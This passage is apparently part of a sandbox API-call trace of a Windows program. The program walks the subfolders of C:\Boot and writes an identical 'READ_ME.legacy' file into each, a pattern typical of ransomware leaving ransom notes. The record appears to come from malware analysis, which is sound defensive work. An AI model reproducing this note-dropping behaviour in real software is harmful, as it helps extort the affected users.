lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0082.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0082.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: hHeap=0x520000) returned 1 [0082.184] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="el-GR", cAlternateFileName="")) returned 1 [0082.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.185] GetLastError () returned 0x0 [0082.185] SetLastError (dwErrCode=0x0) [0082.185] GetLastError () returned 0x0 [0082.185] SetLastError (dwErrCode=0x0) [0082.185] GetLastError () returned 0x0 [0082.185] SetLastError (dwErrCode=0x0) [0082.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0082.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0082.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0082.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0082.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.185] GetLastError () returned 0x0 [0082.186] SetLastError (dwErrCode=0x0) [0082.186] GetLastError () returned 0x0 [0082.186] SetLastError (dwErrCode=0x0) [0082.186] GetLastError () returned 0x0 [0082.186] SetLastError (dwErrCode=0x0) [0082.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.186] CreateFileW (lpFileName="\\Boot\\el-GR\\READ_ME.legacy" (normalized: "c:\\boot\\el-gr\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.187] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.188] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.189] CloseHandle (hObject=0x458) returned 1 [0082.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0082.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0082.189] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="en-GB", cAlternateFileName="")) returned 1 [0082.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.190] GetLastError () returned 0x0 [0082.190] SetLastError (dwErrCode=0x0) [0082.190] GetLastError () returned 0x0 [0082.190] SetLastError (dwErrCode=0x0) [0082.190] GetLastError () returned 0x0 [0082.190] SetLastError (dwErrCode=0x0) [0082.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0082.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0082.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0082.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0e0 [0082.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0082.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.190] GetLastError () returned 0x0 [0082.190] SetLastError (dwErrCode=0x0) [0082.190] GetLastError () returned 0x0 [0082.191] SetLastError (dwErrCode=0x0) [0082.191] GetLastError () returned 0x0 [0082.191] SetLastError (dwErrCode=0x0) [0082.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.191] CreateFileW (lpFileName="\\Boot\\en-GB\\READ_ME.legacy" (normalized: "c:\\boot\\en-gb\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.192] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.193] CloseHandle (hObject=0x458) returned 1 [0082.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0082.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0e0 | out: hHeap=0x520000) returned 1 [0082.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0082.193] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="en-US", cAlternateFileName="")) returned 1 [0082.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.193] GetLastError () returned 0x0 [0082.193] SetLastError (dwErrCode=0x0) [0082.194] GetLastError () returned 0x0 [0082.194] SetLastError (dwErrCode=0x0) [0082.194] GetLastError () returned 0x0 [0082.194] SetLastError (dwErrCode=0x0) [0082.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0082.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0082.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0082.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0082.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0082.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.194] GetLastError () returned 0x0 [0082.194] SetLastError (dwErrCode=0x0) [0082.194] GetLastError () returned 0x0 [0082.194] SetLastError (dwErrCode=0x0) [0082.194] GetLastError () returned 0x0 [0082.194] SetLastError (dwErrCode=0x0) [0082.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.195] CreateFileW (lpFileName="\\Boot\\en-US\\READ_ME.legacy" (normalized: "c:\\boot\\en-us\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.195] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.195] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.196] CloseHandle (hObject=0x458) returned 1 [0082.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0082.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0082.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0082.196] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="es-ES", cAlternateFileName="")) returned 1 [0082.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.196] GetLastError () returned 0x0 [0082.197] SetLastError (dwErrCode=0x0) [0082.197] GetLastError () returned 0x0 [0082.197] SetLastError (dwErrCode=0x0) [0082.197] GetLastError () returned 0x0 [0082.197] SetLastError (dwErrCode=0x0) [0082.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0082.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0082.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0082.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0082.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.197] GetLastError () returned 0x0 [0082.197] SetLastError (dwErrCode=0x0) [0082.197] GetLastError () returned 0x0 [0082.197] SetLastError (dwErrCode=0x0) [0082.197] GetLastError () returned 0x0 [0082.197] SetLastError (dwErrCode=0x0) [0082.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.197] CreateFileW (lpFileName="\\Boot\\es-ES\\READ_ME.legacy" (normalized: "c:\\boot\\es-es\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.198] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.198] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.199] CloseHandle (hObject=0x458) returned 1 [0082.199] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.199] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.199] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0082.199] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0082.200] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="es-MX", cAlternateFileName="")) returned 1 [0082.200] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.200] GetLastError () returned 0x0 [0082.200] SetLastError (dwErrCode=0x0) [0082.200] GetLastError () returned 0x0 [0082.200] SetLastError (dwErrCode=0x0) [0082.200] GetLastError () returned 0x0 [0082.200] SetLastError (dwErrCode=0x0) [0082.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0082.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0082.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0082.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0082.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d130 [0082.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.200] GetLastError () returned 0x0 [0082.200] SetLastError (dwErrCode=0x0) [0082.200] GetLastError () returned 0x0 [0082.200] SetLastError (dwErrCode=0x0) [0082.200] GetLastError () returned 0x0 [0082.200] SetLastError (dwErrCode=0x0) [0082.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.200] CreateFileW (lpFileName="\\Boot\\es-MX\\READ_ME.legacy" (normalized: "c:\\boot\\es-mx\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.203] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.204] CloseHandle (hObject=0x458) returned 1 [0082.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d130 | out: hHeap=0x520000) returned 1 [0082.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0082.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0082.204] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="et-EE", cAlternateFileName="")) returned 1 [0082.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.205] GetLastError () returned 0x0 [0082.205] SetLastError (dwErrCode=0x0) [0082.205] GetLastError () returned 0x0 [0082.205] SetLastError (dwErrCode=0x0) [0082.205] GetLastError () returned 0x0 [0082.205] SetLastError (dwErrCode=0x0) [0082.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0082.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0082.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0082.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0082.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.205] GetLastError () returned 0x0 [0082.205] SetLastError (dwErrCode=0x0) [0082.205] GetLastError () returned 0x0 [0082.205] SetLastError (dwErrCode=0x0) [0082.205] GetLastError () returned 0x0 [0082.205] SetLastError (dwErrCode=0x0) [0082.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.205] CreateFileW (lpFileName="\\Boot\\et-EE\\READ_ME.legacy" (normalized: "c:\\boot\\et-ee\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.206] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.207] CloseHandle (hObject=0x458) returned 1 [0082.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0082.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0082.207] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0082.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.207] GetLastError () returned 0x0 [0082.207] SetLastError (dwErrCode=0x0) [0082.207] GetLastError () returned 0x0 [0082.207] SetLastError (dwErrCode=0x0) [0082.207] GetLastError () returned 0x0 [0082.207] SetLastError (dwErrCode=0x0) [0082.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0082.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0082.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0082.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0082.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0082.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.208] GetLastError () returned 0x0 [0082.208] SetLastError (dwErrCode=0x0) [0082.208] GetLastError () returned 0x0 [0082.208] SetLastError (dwErrCode=0x0) [0082.208] GetLastError () returned 0x0 [0082.208] SetLastError (dwErrCode=0x0) [0082.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.208] CreateFileW (lpFileName="\\Boot\\fi-FI\\READ_ME.legacy" (normalized: "c:\\boot\\fi-fi\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.211] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.212] CloseHandle (hObject=0x458) returned 1 [0082.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0082.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0082.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0082.213] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Fonts", cAlternateFileName="")) returned 1 [0082.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.213] GetLastError () returned 0x0 [0082.213] SetLastError (dwErrCode=0x0) [0082.213] GetLastError () returned 0x0 [0082.213] SetLastError (dwErrCode=0x0) [0082.213] GetLastError () returned 0x0 [0082.213] SetLastError (dwErrCode=0x0) [0082.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0082.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0082.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0082.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0082.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.214] GetLastError () returned 0x0 [0082.214] SetLastError (dwErrCode=0x0) [0082.214] GetLastError () returned 0x0 [0082.214] SetLastError (dwErrCode=0x0) [0082.214] GetLastError () returned 0x0 [0082.214] SetLastError (dwErrCode=0x0) [0082.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.214] CreateFileW (lpFileName="\\Boot\\Fonts\\READ_ME.legacy" (normalized: "c:\\boot\\fonts\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.253] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.254] CloseHandle (hObject=0x458) returned 1 [0082.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0082.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0082.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.255] GetLastError () returned 0x0 [0082.255] SetLastError (dwErrCode=0x0) [0082.255] GetLastError () returned 0x0 [0082.255] SetLastError (dwErrCode=0x0) [0082.255] GetLastError () returned 0x0 [0082.255] SetLastError (dwErrCode=0x0) [0082.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0082.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0082.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0082.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0e0 [0082.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.256] GetLastError () returned 0x0 [0082.256] SetLastError (dwErrCode=0x0) [0082.256] GetLastError () returned 0x0 [0082.256] SetLastError (dwErrCode=0x0) [0082.256] GetLastError () returned 0x0 [0082.256] SetLastError (dwErrCode=0x0) [0082.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.256] CreateFileW (lpFileName="\\Boot\\fr-CA\\READ_ME.legacy" (normalized: "c:\\boot\\fr-ca\\read_me.legacy"), 